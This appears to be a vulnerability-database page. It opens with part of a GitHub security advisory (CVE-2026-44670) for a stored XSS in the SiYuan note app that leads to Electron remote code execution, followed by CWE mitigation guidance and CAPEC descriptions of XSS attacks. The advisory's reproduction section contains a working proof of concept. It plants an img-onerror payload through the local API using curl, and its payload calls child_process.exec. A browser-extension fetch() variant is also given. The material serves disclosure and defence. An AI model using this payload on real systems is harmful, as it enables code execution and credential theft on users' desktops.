`Lute.EscapeHTMLStr` and `item.id` via `escapeAttr`.\n5. *(Defense-in-depth)* Switch the main BrowserWindow to `contextIsolation: true` with a preload bridge \u2014 caps every future renderer XSS at \"DOM only,\" not RCE.\n\n---\n\n## Reproduction (copy-paste-ready)\n\nTested on Linux/macOS with SiYuan v3.6.5 (re-verified against `master` HEAD on 2026-05-03). Windows users: replace `python3` with `py` and use Git Bash / WSL for the shell snippets, or translate to PowerShell.\n\n### Prereqs\n\n1. **Install SiYuan v3.6.5** from https://github.com/siyuan-note/siyuan/releases. Launch it once so the workspace at `~/SiYuanWorkspace` is initialized. Do **not** set an Access Authorization Code (default).\n2. **Verify the kernel responds:**\n   ```sh\n   curl -s http://127.0.0.1:6806/api/system/version\n   ```\n   Expected output (single line of JSON):\n   ```json\n   {\"code\":0,\"msg\":\"\",\"data\":\"3.6.5\"}\n   ```\n3. **Pin shell variables** for the rest of the PoC:\n   ```sh\n   API=http://127.0.0.1:6806\n   WS=~/SiYuanWorkspace                                      # adjust if your workspace lives elsewhere\n\n   NOTEBOOK_ID=$(curl -s -X POST $API/api/notebook/lsNotebooks \\\n     -H \u0027Content-Type: application/json\u0027 -d \u0027{}\u0027 \\\n     | python3 -c \u0027import sys,json; print(json.load(sys.stdin)[\"data\"][\"notebooks\"][0][\"id\"])\u0027)\n   echo \"Using notebook: $NOTEBOOK_ID\"\n   ```\n   Expected: a 14-digit-timestamp + `-7chars` ID like `20240101120000-abc1234`. If you get an empty string, you have no notebooks \u2014 open SiYuan and click \"New notebook\" once.\n\n### Step A \u2014 Create the AV via the SiYuan UI (one-time, ~10 seconds)\n\nThe kernel\u0027s `setAttrViewName` requires the AV file to already exist on disk (`av.ParseAttributeView` returns an error otherwise). The simplest way to create one is via the editor:\n\n1. Open SiYuan. In any document, type `/database` and press Enter (or open the slash-command menu and pick **Database**).\n2. The editor inserts an Attribute View block. The kernel writes a JSON file to `\u003cworkspace\u003e/data/storage/av/\u003cav-id\u003e.json`.\n3. Capture the AV ID \u2014 the most recently written file in that directory:\n   ```sh\n   AV_FILE=$(ls -1t \"$WS/data/storage/av/\"*.json 2\u003e/dev/null | head -1)\n   AV_ID=$(basename \"$AV_FILE\" .json)\n   echo \"AV_ID: $AV_ID\"\n   ```\n   Expected: same 14-digit-timestamp + `-7chars` shape, e.g. `20260503160000-aaaaaaa`. If empty, the AV file wasn\u0027t created \u2014 repeat the UI step. (If your workspace already has many AV files, this picks the newest by mtime; alternatively right-click the inserted database block in SiYuan \u2192 Inspect Element to read its `data-av-id` attribute.)\n\n4. Capture the doc ID that hosts the AV: right-click the doc tab \u2192 **Copy ID**, or read it from the doc\u0027s `data-node-id` in DevTools (Ctrl+Shift+I). Set:\n   ```sh\n   DOC_ID=\u003croot-block-id-of-the-doc-containing-the-AV\u003e\n   ```\n\n### Step B \u2014 Plant the XSS payload as the AV name\n\nThe payload is written directly inside an unquoted heredoc so bash expands `$AV_ID` while preserving the `\\\"` JSON-escape sequences literally. Single-quote chars (`\u0027`) in the inner JS need no escaping inside a JSON string.\n\n```sh\ncurl -s -X POST $API/api/transactions \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  --data-binary @- \u003c\u003cEOF\n{\n  \"session\": \"x\",\n  \"app\": \"siyuan\",\n  \"transactions\": [{\n    \"doOperations\": [{\n      \"action\": \"setAttrViewName\",\n      \"id\": \"$AV_ID\",\n      \"data\": \"\u003cimg src=x onerror=\\\"require(\u0027child_process\u0027).exec(process.platform===\u0027win32\u0027?\u0027calc.exe\u0027:process.platform===\u0027darwin\u0027?\u0027open -a Calculator\u0027:\u0027xcalc\u0027)\\\"\u003e\"\n    }],\n    \"undoOperations\": []\n  }]\n}\nEOF\n```\nExpected response:\n```json\n{\"code\":0,\"msg\":\"\",\"data\":[{\"doOperations\":[...,\"action\":\"setAttrViewName\",...]}]}\n```\n\n### Step C \u2014 Verify the unescaped storage\n\n```sh\npython3 -c \"import json; print(json.load(open(\u0027$WS/data/storage/av/$AV_ID.json\u0027))[\u0027name\u0027])\"\n```\nExpected output (the raw HTML as stored \u2014 `print` does not escape `\"`, so they appear as literal quotes):\n```\n\u003cimg src=x onerror=\"require(\u0027child_process\u0027).exec(process.platform===\u0027win32\u0027?\u0027calc.exe\u0027:process.platform===\u0027darwin\u0027?\u0027open -a Calculator\u0027:\u0027xcalc\u0027)\"\u003e\n```\n\n### Step D \u2014 Trigger\n\nIn the SiYuan desktop client:\n\n1. Switch away from the doc that contains the AV (open another doc, or close the tab).\n2. Re-open the doc containing the AV (`$DOC_ID`).\n3. The AV body header is rendered via `genTabHeaderHTML` \u2192 `outerHTML` at `app/src/protyle/render/av/render.ts:596`. The browser parses the `\u003cimg\u003e` tag, fails to load `src=x`, and fires `onerror`.\n4. **Calculator (or `xcalc` / `open -a Calculator`) launches.**\n\nIf nothing happens, open DevTools (Ctrl+Shift+I / \u2318\u2325I) \u2192 Console; you should see the error from the failed `src=x` load. If the AV is in another doc you haven\u0027t opened recently, the cached render may be stale \u2014 close all tabs and re-open.\n\n### Step E \u2014 Browser-extension attack vector (the realistic remote path)\n\nA malicious or compromised installed browser extension\u0027s content/background script runs with `chrome-extension://\u003cid\u003e` Origin, allowlisted by `session.go:277`. The extension can run Steps B\u0027s curl-equivalent via `fetch()`:\n```js\n// Inside any extension content/background script\nfetch(\u0027http://127.0.0.1:6806/api/transactions\u0027, {\n  method: \u0027POST\u0027,\n  headers: {\u0027Content-Type\u0027: \u0027application/json\u0027},\n  body: JSON.stringify({\n    session: \u0027x\u0027, app: \u0027siyuan\u0027,\n    transactions: [{ doOperations: [{\n      action: \u0027setAttrViewName\u0027,\n      id: \u0027\u003cav-id-discovered-via-prior-recon-fetches\u003e\u0027,\n      data: `\u003cimg src=x onerror=\"require(\u0027child_process\u0027).exec(\u0027xcalc\u0027)\"\u003e`\n    }] }]\n  })\n});\n```\nThe extension can also enumerate AV IDs by first calling `/api/notebook/lsNotebooks`, then walking notebook trees.\n\nA page from `https://attacker.com` is rejected \u2014 `IsLocalOrigin` only matches localhost/loopback. Realistic remote vectors are: **browser extensions**, **localhost-served webpages**, **shared `.sy.zip` imports**, **sync replication from a co-author\u0027s compromised device**.\n\n### Cleanup\n\n```sh\n# Remove the test doc (also removes the AV binding in the doc)\ncurl -s -X POST $API/api/filetree/removeDocByID \\\n  -H \u0027Content-Type: application/json\u0027 -d \"{\\\"id\\\":\\\"$DOC_ID\\\"}\"\n\n# Manually delete the AV file\nrm -f $WS/data/storage/av/$AV_ID.json\n\n# Restart SiYuan to clear in-memory state\n```\n\n## Impact\n\n- **RCE on the victim\u0027s desktop** with the user\u0027s privileges, no extra prompt after the trigger condition is met.\n- **Persistent** \u2014 payload survives restart, syncs across devices, rides in `.sy.zip` exports and Bazaar templates.\n- **Triggers for any role** opening a doc bound to the AV (incl. Reader-role publish viewers).\n- After RCE: full filesystem read (incl. `~/.ssh/`, `~/.aws/credentials`, workspace `conf/conf.json` \u2014 kernel API token + AccessAuthCode hash), persistence (`.bashrc` / Startup folder / LaunchAgent), cloud-account pivot.\n- **Attack vectors:** browser extensions (`chrome-extension://` Origin allowlisted); shared `.sy.zip` files; Bazaar templates; sync peers; co-authors on a shared workspace; publish-service planters infecting Reader viewers.",
  "id": "GHSA-2h64-c999-c9r6",
  "modified": "2026-06-08T20:11:15Z",
  "published": "2026-05-08T16:53:18Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-2h64-c999-c9r6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44670"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/siyuan-note/siyuan"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "SiYuan Affected by Stored XSS via Attribute View Name to Electron Renderer RCE"
}
Mitigation MIT-4
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
  • Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
Mitigation
Implementation Architecture and Design
  • Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.
  • For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters.
  • Parts of the same output document may require different encodings, which will vary depending on whether the output is in the:
  • etc. Note that HTML Entity Encoding is only appropriate for the HTML body.
  • Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed.
  • HTML body
  • Element attributes (such as src="XYZ")
  • URIs
  • JavaScript sections
  • Cascading Style Sheets and style property
Mitigation MIT-6
Architecture and Design Implementation

Strategy: Attack Surface Reduction

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.

Mitigation MIT-15
Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Mitigation MIT-27
Architecture and Design

Strategy: Parameterization

If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.

Mitigation MIT-30.1
Implementation

Strategy: Output Encoding

  • Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.
  • The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.
Mitigation MIT-43
Implementation

With Struts, write all data from form beans with the bean's filter attribute set to true.

Mitigation MIT-31
Implementation

Strategy: Attack Surface Reduction

To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XmlHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.

Mitigation MIT-5
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • When dynamically constructing web pages, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. All input should be validated and cleansed, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. It is common to see data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.
  • Note that proper output encoding, escaping, and quoting is the most effective solution for preventing XSS, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent XSS, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, in a chat application, the heart emoticon ("<3") would likely pass the validation step, since it is commonly used. However, it cannot be directly inserted into the web page because it contains the "<" character, which would need to be escaped or otherwise handled. In this case, stripping the "<" might reduce the risk of XSS, but it would produce incorrect behavior because the emoticon would not be recorded. This might seem to be a minor inconvenience, but it would be more important in a mathematical forum that wants to represent inequalities.
  • Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.
  • Ensure that you perform input validation at well-defined interfaces within the application. This will help protect the application even if a component is reused or moved elsewhere.
Mitigation MIT-21
Architecture and Design

Strategy: Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

Mitigation MIT-29
Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].

Mitigation MIT-16
Operation Implementation

Strategy: Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

CAPEC-209: XSS Using MIME Type Mismatch

An adversary creates a file with scripting content but where the specified MIME type of the file is such that scripting is not expected. The adversary tricks the victim into accessing a URL that responds with the script file. Some browsers will detect that the specified MIME type of the file does not match the actual type of its content and will automatically switch to using an interpreter for the real content type. If the browser does not invoke script filters before doing this, the adversary's script may run on the target unsanitized, possibly revealing the victim's cookies or executing arbitrary script in their browser.

CAPEC-588: DOM-Based XSS

This type of attack is a form of Cross-Site Scripting (XSS) where a malicious script is inserted into the client-side HTML being parsed by a web browser. Content served by a vulnerable web application includes script code used to manipulate the Document Object Model (DOM). This script code either does not properly validate input, or does not perform proper output encoding, thus creating an opportunity for an adversary to inject a malicious script launch a XSS attack. A key distinction between other XSS attacks and DOM-based attacks is that in other XSS attacks, the malicious script runs when the vulnerable web page is initially loaded, while a DOM-based attack executes sometime after the page loads. Another distinction of DOM-based attacks is that in some cases, the malicious script is never sent to the vulnerable web server at all. An attack like this is guaranteed to bypass any server-side filtering attempts to protect users.

CAPEC-591: Reflected XSS

This type of attack is a form of Cross-Site Scripting (XSS) where a malicious script is "reflected" off a vulnerable web application and then executed by a victim's browser. The process starts with an adversary delivering a malicious script to a victim and convincing the victim to send the script to the vulnerable web application.

CAPEC-592: Stored XSS

An adversary utilizes a form of Cross-site Scripting (XSS) where a malicious script is persistently "stored" within the data storage of a vulnerable web application as valid input.

CAPEC-63: Cross-Site Scripting (XSS)

An adversary embeds malicious scripts in content that will be served to web browsers. The goal of the attack is for the target software, the client-side browser, to execute the script with the users' privilege level. An attack of this type exploits a programs' vulnerabilities that are brought on by allowing remote hosts to execute code and scripts. Web browsers, for example, have some simple security controls in place, but if a remote attacker is allowed to execute scripts (through injecting them in to user-generated content like bulletin boards) then these controls may be bypassed. Further, these attacks are very difficult for an end user to detect.

CAPEC-85: AJAX Footprinting

This attack utilizes the frequent client-server roundtrips in Ajax conversation to scan a system. While Ajax does not open up new vulnerabilities per se, it does optimize them from an attacker point of view. A common first step for an attacker is to footprint the target environment to understand what attacks will work. Since footprinting relies on enumeration, the conversational pattern of rapid, multiple requests and responses that are typical in Ajax applications enable an attacker to look for many vulnerabilities, well-known ports, network locations and so on. The knowledge gained through Ajax fingerprinting can be used to support other attacks, such as XSS.

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